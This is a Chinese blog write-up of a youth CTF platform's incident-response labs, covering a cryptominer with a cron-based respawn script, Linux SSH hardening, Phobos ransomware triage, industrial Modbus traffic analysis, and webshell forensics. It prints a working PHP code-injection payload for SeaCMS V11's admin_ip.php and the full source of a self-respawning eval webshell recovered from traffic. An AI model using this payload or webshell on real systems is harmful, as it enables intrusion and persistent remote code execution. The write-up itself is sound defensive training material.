应急响应练习:青少年CTF靶场(全)

特洛伊挖矿木马事件排查

真不是我说,这和我遇到的那个kdevtmpfsi听着怎么能那么像,真的没忍住来做一下,别告诉我真就是kdevtmpfsi

任务一:提交挖矿文件的绝对路径

上来找挖矿文件的绝对路径,既然题目说了是CPU使用率异常飙高,那我们就降序看看进程的CPU占用情况

先用top,发现没有了,可能是被感染了,那试试看ps aux

1
ps aux --sort=-%cpu | head

降序看看进程CPU占用情况

可以看到CPU异常高的只有第一个(没有kdevtmpfsi吓人啊)

这进程的命令是/tmp/kworkerds,正常的系统内核工作线程应该是kworker才对,而且也不该在/tmp路径,所以这玩意很可疑,很有可能就是所谓的挖矿文件

所以本题的答案就是这一个高嫌疑的/tmp/kworkerds

flag{/tmp/kworkerds}

任务二:提交挖矿文件的外联IP

刚刚已经找到了可疑进程的PID是306

题目问挖矿文件的外联IP,其实就是问的网络连接情况

我们用netstat或者ss都可以

1
2
netstat -anp | grep 306
ss -anp | grep 306

我们-a显示所有链接,然后-n看ip

这边就能直接看到外网的外联ip和端口是那个104.21.6.99:10235

这个10235是一个非标准的高位端口,在这种恶意文件里很常见

任务三:守护进程脚本的绝对路径

一般的木马都会搭配有守护进程脚本,以防止木马被kill后就没了,守护进程会使其再生,正如我中的kdevtmpfsi自带守护进程kinsing

直接找有点没有头绪,不妨我们跟着题目提示,先试试看删了这玩意会不会再蹦出来

1
kill -9 进程号

发现了删了没几秒就又崩了一个出来

有点太快了吧这也

接下来我们尝试直接删除/tmp/kworkerds文件

1
rm -rf /tmp/kworderds

真是似曾相识来了,之前的kdevtmpfsi也是说我一个root没权限

可能是用了文件锁,跟上次一样,我们用lsattr看看属性

1
2
3
chattr加锁
lsattr看锁
lsattr /tmp/kworkerds

坏了,没说不能删,但是真的删不了

可能是rm被感染了,用不了这玩意了

既然直接rm做不了了,我们可以尝试利用集成的Linux工具集busybox进行rm,这玩意特别适合嵌入式系统和资源受限的环境,正好应对这种污染情况

1
busybox rm -rf /tmp/kworkerds

完全没报错,说明删掉了,但是还是有这个玩意

这说明要么就是有文件每秒都在生成挖矿文件,要么就是有文件检测这玩意还在不在,不在就生

来检测一下计划任务

1
crontab -l

发现没有计划任务啊,至少root没有

也有可能是系统级别的?再cat文件看看

1
cat /etc/crontab

发现也没啥玩意,都找不到

不过值得注意的是,系统级别的计划任务还可能分布在/etc/cron.d/、/etc/cron.hourly/等等目录里,我们用通配符*直接一起搜了,这些地方我们crontab -l都是不显示的

1
ls -la /etc/cron*

这下看到了,这个0guardian也太显眼了,名字就很逆天了

为了验证,我们可以cat看看内容

发现是每分钟都在执行,这玩意的频率太高了,很像而已进程,我们去看看它要执行的.0guardian

1
cat /usr/bin/.0guardian

这脚本还挺直接的,直接说了自己是守护脚本

当然也很简洁了,就一行,这边是在用stat命令看/tmp的情况,而且不回显

这边很有可能是感染了stat函数,使其不只是单纯的查看

我们自己调用stat也发现了这个命令无法做到一些本来能做到的事情了,确认已被感染的事实

因此再生的思路已经明确了

1
2
3
4
1,设置计划任务每分钟执行一次
2,调用.0guardian
3,stat /tmp,执行魔改stat
4,猜测是看/tmp下边有没有病毒文件,有无所谓,没有就再生了

所以这一题的答案很明确了,是flag{/usr/bin/.0guardian}

任务四:异常处理

哦?还有以人为本这一块

我们直接打开虚拟机上的火狐,然后访问这个网址看看


我去,还挺好玩的,像剧本杀,直接问别人会得到小王访问了一个钓鱼网站

问小张会得到说执行了/home/op/restart_app.sh的文件

这边系统给了我们提示说小王的网站问题很大,但我们也不能忽略小张的脚本,我们先cat看看

看起来是没什么问题,那很确定问题就在小王遇到的这个网站身上了

这种表述很有可能就是点到钓鱼网站去了,下的压根就不是什么正经软件,然后让挖矿文件乘虚而入了

看看历史记录也确实去看这玩意了

做的还挺好的,太逼真了,不像好多钓鱼网站做的全是广告,一眼假

下一个分析一下

先strings看看字符串

结果发现全出来了,都是熟人啊,确定了就是这个网址下下来的这玩意有毒

所以flag{http://www.superlog-pro.com}

任务五:分析病毒文件

我们先提取出来这个病毒文件,IDA分析一手

先扔到DIE看看,发现是64位,无壳

接下来进行IDA分析

定位到main函数直接反编译看一眼

可以看到这些地方都在进行伪装,假冒自己是个正经软件

实际上这边已经以二进制在/tmp/kworkerds写入了病毒文件,还顺便修改了权限,我们转化成八进制就可以发现改为了0755的权限

在sub_1670函数中可以看到这样子的内容,四次write,把病毒主体、源文件内容、感染标记统统写进去

根据逻辑,如果感染出现问题,会跳转到这个LABEL_19的标签的地方,然后就会执行v5=*v4++来得到下一个待感染的文件路径

所以v4即为感染的文件路径,我们定位v4

发现v4个off_3CA8有关(注意一开始上边还有个/bin/ls)

于是我们得到了这一题的答案,也就是感染的所有顺序,并且是按顺序下来的

继续往下看还能看见调用了这样子的一个函数

守护进程.0guardian正安放于此

依旧chmod改了权限,并且设置了定时任务,正如我们上文分析的一样

总之这一题的答案就是md5(/bin/ls,/bin/ps,/bin/cat,/bin/rm,/bin/ss,/usr/bin/stat,/usr/bin/top,/usr/bin/wget,/usr/bin/curl,/usr/bin/vi,/usr/bin/sudo)

所以是flag{dac48e98a53b81b0218e2156e364f7ba}

任务六:修复系统并恢复文件完整性

我们上一题已经知道了感染的程序情况,这玩意是只有启动setup的时候才会改的,所以我们现在可以直接进行恢复,不用担心再生

这一题作者有提示,已经将对应程序的debian软件包给放在了/deb_final路径,我们只需要直接dpkg对这些已经下载好的本地包进行安装即可

1
dpkg -i *.deb

通过这一步我们可以直接将程序进行覆盖更新,从而将原来染病的全都覆盖掉

马上就全部覆盖更新好了,既然已经复原好了,那我们直接去/var/flag/1拿flag就好了

flag{e510c5fca680b1b4bd5c9d8d6b3f4bdc}

任务七:最终清理

我们已经搞清楚了具体都是点啥

1
2
3
4
1,计划任务
2,挖矿程序
3,守护进程
4,挖矿进程

注意这边要按顺序,我们得先去掉计划任务才能进行对挖矿程序的删除

1
2
3
4
5
6
7
8
9
systemctl stop cron

rm -rf /etc/cron.d/0guardian
rm -rf /usr/bin/.0guardian
rm -rf /tmp/kworkerds
pkill -f .0guardian
pkill -f kworkerds

cat /var/flag/2

flag{081ce3688c6cd6e2946125081381087c}

Linux安全加固-主机运维

来继续做一下青少年CTF的靶场,一共没几题

这边是针对Linux的一次加固练习,解决风险

任务一:修改用户:bus的ssh密码

根据题目我们就已经知道了原来的密码是bus123

这是很典型的弱口令密码,很容易被爆破出来

我们利用命令进行更改

1
2
3
sudo passwd bus
#然后填个包含大小写字母,数字,特殊字符的高强度密码,输入两遍即可
#我这边写的是Gr3@tP@ss!

这边为了保护都是不显现的,不过看见successfully就是成功了

改完之后按校验即可发现成功

任务二:允许root用户ssh远程登录

如果我们想做到这一点,我们需要将ssh的配置文件中的PermitRootLogin给开启

这是一个很危险的设置,但是根据题目要求我们去做一下

1
sudo vim /etc/ssh/sshd_config

ssh的配置文件一般都在这个地方/etc/ssh/sshd_config

把这行改了

一般这个时候我们需要重启ssh服务才能生效(不过我直接校验也给过了)

1
sudo systemctl restart sshd

任务三:运维远程完毕,可关闭root用户的ssh远程权限

就是上边那个,然后把yes改成no就好了

1
sudo vim /etc/ssh/sshd_config

没什么好说的

任务四:创建新用户并配置SSH私钥

最后让我们创建一个back用户并修改其密码,生成私钥

一步步来,首先创建back用户顺便修改密码

1
2
sudo useradd -m back
sudo passwd back

这边-m是为了自动创建用户主目录

题目没规定,随便输入吧,我输入的是bus123

接下来就是生成私钥了

首先切换到back用户

1
2
sudo su - back  #切换用户
ssh-keygen -t rsa #生成密钥对

生成密钥对直接回车用默认的文件路径和空的密码即可,也没要求

默认的路径是私钥文件在~/.ssh/id_rsa,然后公钥在id_rsa.pub

接下来配置公钥,设置权限

注意,这边的权限设置极为重要,没有的话是不给过认证的

1
2
3
4
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys

chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

然后就做完了,很简单吧(

2700勒索病毒排查

https://mp.weixin.qq.com/s/XFisEU5Gdk245cn8jsnlZQ

这边写了靶机的使用说明,我们可以利用SSH连接后sftp进行文件传输

任务一:此勒索家族名称是什么?

我们在题目中已经了解到这是一个勒索病毒,并且存在勒索信

先打开看看吧

一片大好啊,全部变成.2700文件了

不过还剩了勒索信的txt文件和hta文件,我们打开看看

可以发现这边给了一个邮箱和一个ID,拿来勒索要钱的估计是,根据题目要求,我们可以去应急响应.com来根据邮箱锁定勒索家族

成功定位到了病毒家族,符合加密后缀以及勒索信件格式,所以这一题的答案就是Phobos

任务二:勒索病毒预留的ID是什么

可以看到这边的hta文件里给了预留的ID,ID为4A30C4F9-3524

题目说如果有多个以&连接,但是所有的hta打开来发现都是这个ID,而且所有文件名儿都带着这个ID,所以其实就这一个ID

所以答案就是flag{4A30C4F9-3524}

任务三:提交开始加密的时间

一般来说勒索病毒在加密的时候不会差很多时间,基本上就是一瞬间全加密完了,不给你留时间转移

所以打开几个看看就知道了

修改时间是flag{2025/11/19 14:31}

任务四:恢复文件

勒索病毒没那么好解密,要是那么容易被解也就勒索不到钱了,我们跟着提示老老实实去应急响应.com找一个恢复工具吧还是

先找到这个文件

我们提取出来,利用上边公众号说的提取出来

这边直接填入qsnctf的手机号和密码

我们就能进入home文件夹了,接下来直接xshell连接就好了,把这个加密flag扔进去

我们在xshell先ssh(主机号就是nas.qsnctf.com,用户名和密码跟刚刚的都一样),然后右键选择Xftp打开即可

弄到本机就可以用恢复程序了

成功得到解密的flag,填入即可

任务五:提交发送邮件的邮箱

按照要求去看看这个文件夹

就一个文件,按照刚刚的方法提取即可

发现是一个未加密的,直接就能打开了

这边把发件人收件人都写清楚了

所以答案就是flag{1983929223@qq.com}

任务六:提交发送邮件的IP

直接记事本打开刚刚的邮件文件

在X-Originating-IP字段即可发现ip

所以答案就是flag{39.91.141.213}

任务七:提交钓鱼附件中的C2地址

我们下载刚刚邮件的附件,即可得到病毒文件

一解压就被火绒灭了,我们关掉火绒保存

一看就是通过这个钓鱼附件,利用可能隐藏后缀的特性,诱骗使用者打开这个木马病毒

要查C2地址,我们扔到微步云沙箱看看

检测出来确实是恶意木马

可以看到这边检测出来俩ip,很明显下边的是C2地址,因为上边的是国内的CDN服务器,作为公开的基础设施,不太会把这玩意当C2服务器,毕竟无法控制

而下边的又是境外的,又是动态IP,很符合隐匿的一个需求,所以锁定是下边的IP

flag{182.9.80.123}

任务八:恢复备份

我们定位到这个地方去看看备份呢

diskgenius(题目打错了吧)是很常见的用于恢复的软件

在指定目录可以看到一个20G磁盘的镜像,我们利用DiskGenius加载一下这个镜像文件

加载完那个pmfx文件后即可在\Users\Solar\Desktop处找到flag.bak文件

直接打不开,可以提取出来看或者直接改后缀成txt看

得到flag{92047522e5080bad36eda9d29d5a163e}

工厂应急

记得在面试的时候c3师傅跟我说过,在实战的时候取证很多时候是碰不到实体和镜像的,更多是流量。我想或许说的就是和这一题一样的流量实战,来做一下这一题吧

任务一:谁把泵关了?

首先认清这是个化工厂,在这个化工厂里有人把泵给关了

我们要找到是谁关的,找到他的id

打开流量包可以看到有很明显的Modbus流量痕迹,Modbus TCP是一种很特殊的协议

这是一种广泛运用于工业自动化领域的通信协议,主要是用来解决不同厂家生成的设备沟通传输的问题,正贴切本题的工厂应急环境,这应该是本题的重点,我们先过滤一下Modbus TCP

直接输入modbus即可过滤

重点在于Info内容

这边的Trans是事务标识符,用来匹配请求和响应

Unit是单元标识符,基本上就意味着从站的地址

最后就是Func了,这是功能码,决定着要做什么操作

像这边的Func:1是读线圈、Func:3是读保持寄存器

这一题我们可以看到问的是关泵的人

读操作只会查询和监视,不会改变任何的设备实际状态,因此这一题很明显应该要去写操作里边找

一般的写操作就是5,6,15,16

1
modbus.func_code == 5 or modbus.func_code == 6 or modbus.func_code == 15 or modbus.func_code == 16

过滤出来就只有一条

当然了,不放心也可以自己看看,发现确实是只有一条写操作

这是一个单线圈的功能码,我们看看具体内容

可以看到data写了0000,在Modbus协议里0000表示停止和OFF

这一条数据的完整含义就是向1号从站设备下达命令,使其将第13号线圈关了,也就是所谓的关泵操作

那很明确了

0xtransaction_id=6699=0x1a2b

0xfunction_code=5=0x05

0xcoil_address=13=0x000d

所以flag就是flag{0x1a2b_0x05_0x000d}

任务二:找到被写入的NodeId

首先,什么是NodeId,我们先搜索看看这个字符串,看看到底是什么

追踪一下TCP流看看详情

发现是这样子的,具体什么意思呢?可以问问看ai

至此我们了解了,这一个NodeId是节点标识符的意思,而这一条流量的意思是发出一个浏览请求,希望能读到在命名空间索引为3的,标识符为Alarms的节点(就是要报警信息列表)

那我们要找的是被写入的,自然应该是WriteRequest才对

根据内容过滤看看

1
frame contains  "NodeId" && frame contains "WriteRequest"

成功过滤,就一条数据

所以本题flag即为flag{ns=2;s=Pump/SpeedSetpoint}

这个NodeId的意思是找到命名空间索引为2的,更改泵的转速,改成1200

任务三:找出工程站域名解析IP

找域名解析结果?听上去就是找的DNS协议的流量吧

过滤一下

1
dns && (dns.qry.name == "engws.plant.local")

差不多长这样子

这边有很多ip,根据题意,我们最后应该解析到的是一个和其他工控设备都在同一网段的ip,如此满足工控系统的实时要求,保证网络安全和通信协议,也就是10.0.0.x的ip

找了一圈发现只有10.0.0.8.所以答案就是这个ip,把域名解析成了这个ip

flag{10.0.0.8}

任务四:确定HMI到工程站上首个成功发起的时间点

根据任务三,这边可以看到DNS服务器是10.0.0.2,客户端是10.0.0.5,然后访问engws.plant.local的时候会连接目标ip10.0.0.8

在工控网络场景里,HMI一般是作为的操作终端,也就是客户端,需要访问工程控制站,也就是说一般是HMI向DNS发起查询,而解析结果就是工程站的ip

所以本题里说的HMI的源是10.0.0.5,而工程站是10.0.0.8

这个都知道了,我们直接过滤即可,src是10.0.0.5,而dst是10.0.0.8,tcp连接

1
ip.src == 10.0.0.5 && ip.dst == 10.0.0.8 &&tcp

过滤后顺序时间,可不就看到了首个成功发起的时间点

所以flag就是这一个,注意要UTC的

flag{2025-03-12T14:22:09Z}

任务五:找到HMI对工程站发起的HTTP请求

我们在任务四已经分析过了,HMI是10.0.0.5,而工程站是10.0.0.8,最后要求是HTTP请求

所以我们多过滤个HTTP即可

1
ip.src == 10.0.0.5 && ip.dst == 10.0.0.8 && http.request

一下子就出来了,主要是因为这个流量包比较小

所以本题的flag就是flag{engws.plant.local_/rpc}

SeaCMS V11

这一是一道漏洞利用题,其实不是应急响应,但是在靶场就一起打了吧,就一个任务,漏洞还挺多的,我就写一个,之后专门开个专题搞漏洞,别的还是看看下边的师傅吧

https://moxin1044.github.io/posts/d051/index.html

任务一:入侵环境

说漏洞多其实主要还是因为这边有很多php都是一点过滤都没有,随便就可以执行代码了

我们先打开phpstudy,启动网站

可以看到前台,加上url进入后台

都输入admin即可进入

接下来看看网站的代码,在小皮可以看到物理路径

我们前往后台网站的代码存储路径下,全部提取出来(因为这个是直接本地搭的网站,所以这个flag.txt直接就在文件夹里能找到了,但题目本意是让我们找漏洞提取)

不是我说这个环境是真的卡的要命啊。。

不如去github下环境复现

https://github.com/seacms-net/CMS/releases/tag/V11

提出来之后我们可以看到光是admin_ip.php这边就有问题了,这边是直接将用户提交的POST参数v和ip直接字符串拼接的,然后直接写入PHP配置文件ip.php

如果ip字段不正常呢,直接就被利用了

假设我在ip字段输入了

1
";phpinfo(); //

那我们的ip.php就会直接变成

1
<?php $v = ""; $ip = ""; phpinfo(); //"; ?>

然后服务器就直接干phpinfo()函数了,直接泄露了

所以这边是有问题的,也就是可以利用的点

直接在这边写进去就好了,写啥都行

写刚刚的直接进phpinfo界面了

所以我们干啥命令都行了,直接提取flag即可,太卡了我受不了了,以后看我写漏洞再写吧

emergency

青少年靶场最后一题了,写完就没了,确实是有点少,也不知道什么时候上第二届solar的题目

给了个虚拟磁盘,我们可以直接加到现有的虚拟机中

当然也可以新创一个

只需在硬盘设置的时候选择“使用现有虚拟磁盘”然后再选择vmdk文件即可

任务一:提交黑客的IP地址

寻找黑客的踪迹,根据题目安全工程师开了流量包,让我们去看看这个流量包里藏了点啥

过滤一下就可以发现最多出现的ip就是10.0.100.69,发现是大量的10.0.100.69发给10.0.100.13,很可疑,可以先留意一下,不能直接拿来判断

根据下边的题目可以得知上传了一句话木马,那我们其实可以直接过滤POST的http请求,然后再追踪看看有没有明显的一句话木马痕迹

简单追踪一下HTTP流,打开第一个就看见了一句话木马的痕迹

后边还显示操作成功了

所以我们就可以直接追踪这个ip了,发现确实就是10.0.100.69向10.0.100.13发去的

所以黑客的IP地址就是flag{10.0.100.69}

任务二:提交初始连接的一句话木马密码

上一题已经找到了一句话木马的痕迹,我们url解码一下

所以密码是shell

flag{shell}

任务三:提交创建的新的一句话木马文件的MD5

我们继续追踪流,我们就能在流63发现写入了一个新的php文件,shell.php

并且将后边参数中的十六进制解码后追加写入了这个shell.php文件中,我们解码看看后边是什么

发现就是一句话木马,新的密码是qsnctf_2025_lab

对着这个算一下MD5即可

得到flag{91a29f36879b024d661851b7765f3969}

任务四:提交黑客创建的不死马的密码

上一题的木马位于的是/cache/chche_file/configs.cache.php路径,很有可能是有存活期的,不是不死马

且在虚拟机中搜索已经搜索不到我们之前的一句话木马

因此我们应该继续寻找,寻找有写入命令的流量

最后我们在流75成功寻找到了不死马的写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
ignore_user_abort(true);
set_time_limit(0);

$shell_content = '<?php @eval($_POST["4aad625950d058c24711560e5f8445b9"]); ?>';
$shell_path = __DIR__ . '/.config.php';

while (true) {
if (!file_exists($shell_path)) {
file_put_contents($shell_path, $shell_content);
chmod($shell_path, 0444);
}
sleep(5);
}
?>

ignore_user_abort(true)确保了不会因为访问中断而被中止

set_time_limit(0)保证无限循环

还有检查是不是存在的 if (!file_exists($shell_path)),保证死了就再生

最后再chmod一下改权限, sleep(5)防止cpu异常被发现

是很标准的不死马设置,于是我们可以确定,不死马的密码就是4aad625950d058c24711560e5f8445b9

所以flag{4aad625950d058c24711560e5f8445b9}

当然了,都说不死了,肯定也存在于我们的网站文件里

在WWW路径即可找到这一个不死马,同样确认了密码

任务五:提交黑客上传的远控木马名称

因为.config不死马上一回合已经生成,于是黑客开始干更危险的事儿了,我们继续往下追踪可以在流89发现上传了一个文件

解码说是叫shell.exe

我们直接把十六进制搞出来,然后把shell.exe做出来

根据文件头可以看到是典型的Windows PE可执行文件,很有可能是远控木马,我们扔到云沙箱看看

实锤是木马了,所以本题的flag为flag{shell.exe}

任务六:提交上传的远控木马的MD5

上一题已经通过十六进制复原了,我们直接算这个exe程序的md5即可

其实云沙箱直接算好了

所以flag{0410284ea74b11d26f868ead6aa646e1}

任务七:提交黑客上传的远控木马的端口

云沙箱里边动态分析一下

发现远控木马的端口是4444

所以是flag{4444}

任务八:提交黑客创建用户账户的用户名

直接在设置里搜索即可发现账户中存在一个其他人员,所以这一题黑客创建的用户账户用户名即为hidden$

所以答案就是flag{hidden$}

任务九:提交黑客创建用户账户的密码

就是去找上一题那个账户的密码而已(其实火眼能直接一把梭)

如果不用火眼的话,我们继续分析这个流量包,其实很久以前我们就能发现其 base64_decode(substr($_POST[“xxxx”],2)) 的解码逻辑

所以我们在这边继续解码

即可发现创建用户hidden$的时候同时设置的密码,成功了就echo,下边echo了,所以这一个成功了,就是这个

flag{P@ssw0rd123}

任务十:请提交黑客创建用户账户的时间

上一题我们已经找到了是流98

下边有时间显示,注意时区,图片里的是GMT格林威治标准时间的

所以转化为我们这边的东八区应该是2025/11/20 16:13:32

flag{2025/11/20 16:13:32}

青少年靶场刷完了,期待上第二届solar杯的复现,预祝青少年CTF平台蒸蒸日上

我们玄机见


应急响应练习:青少年CTF靶场(全)
https://mei-you-qian.github.io/2026/01/02/青少年CTF靶场/
作者
Meiyouqian
发布于
2026年1月2日
许可协议